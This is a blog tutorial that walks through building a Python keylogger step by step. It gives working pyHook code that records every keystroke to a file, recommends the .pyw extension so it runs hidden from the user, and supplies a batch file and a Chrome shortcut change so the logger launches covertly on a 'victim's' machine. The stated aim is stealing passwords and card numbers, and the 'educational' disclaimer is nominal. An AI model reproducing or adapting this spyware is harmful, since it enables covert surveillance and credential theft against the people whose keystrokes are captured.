How to make a simple and powerfull python keylogger

python keylogger

A keylogger is a computer program which can be written using any computer programming language such as c++, when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.

Disclaimer: This tutorial has been made for educational purposes only, Geekviews don’t promote malicious practices and will not be responsible for any illegal activities. Use it at your own risk.

How to make a python keylogger?

A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.

Also Read: How to create a c++ Keylogger

Requirements to create a python keylogger:

  • Computer With Operating system: Windows, Mac os or Linux
  • Python must be installed on the system
  • Pip (Python index package ) you will need this to install python software packages.
  • Pypiwin32 and PyHook packages
  • Basic understanding of computers

You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.

Also read: Hacking tools for beginners

Part 1: Downloading Python and pip, setting up the environment to create the keylogger.


Step 1:

Download python development kit by clicking here.

 python keylogger

Choose python 2.7  because I am using this version. It is ok if you have a different version of python this method will work on every version of python.

Step 2:

Installation of python is pretty simple.Open the python setup file, Mark the check boxes Very important else you have to set the python path manually, and click on Install Now.

 python keylogger

 

Step 3:

You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.

To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.

python keylogger

 

Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.

python keylogger

Now click on the Advanced system settings

python keylogger

Choose Environment Variables.

python keylogger

Choose New, Set the Variable name: PATH  and Variable value as C:\Python27\Scripts

Click on ok.

python keylogger


 

Part 2: Installing Pypiwin32 and PyHook python Packages using pip:

Open Command Prompt(CMD) and type: pip install Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the command Prompt.

python keylogger


 

Part 3: Creating and testing the python keylogger:

Now you have configured your environment and installed all the necessary packages, let’s start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI)  by clicking on it.

python keylogger

Go to the File, from the drop-down menu choose New file.

python keylogger

Python Keylogger source code:

Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g ‘C:\test\log.txt’ this will create a folder named test in C save the log.txt file there when the Keylogger start.

import pyHook, pythoncom, sys, logging

file_log='F:\\test\\log.txt'

def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.

python keylogger

The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt in my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as google Chrome.

Let’s make the python keylogger auto-launchable by attaching it the google Chrome.

Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat

@echo off
start "" "C:\test\test.pyw"
start "" "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"

Now right click on the google chrome desktop shortcut icon and click on properties.  You will see a field called Target. Change the target field to the batch file launch.bat directory that you created.  let’s say you have saved your launch.bat file in a test folder in C, Then change the target field with “C:\test\launch.bat”. Now, whenever the user opens chrome the keylogger will run automatically.

python keylogger


 

6 COMMENTS

  1. hey man i cant download the pip install Pypiwin32 it says ‘pip’ is not recognized as an internal or external command,
    operable program or batch file.

LEAVE A REPLY

Please enter your comment!
Please enter your name here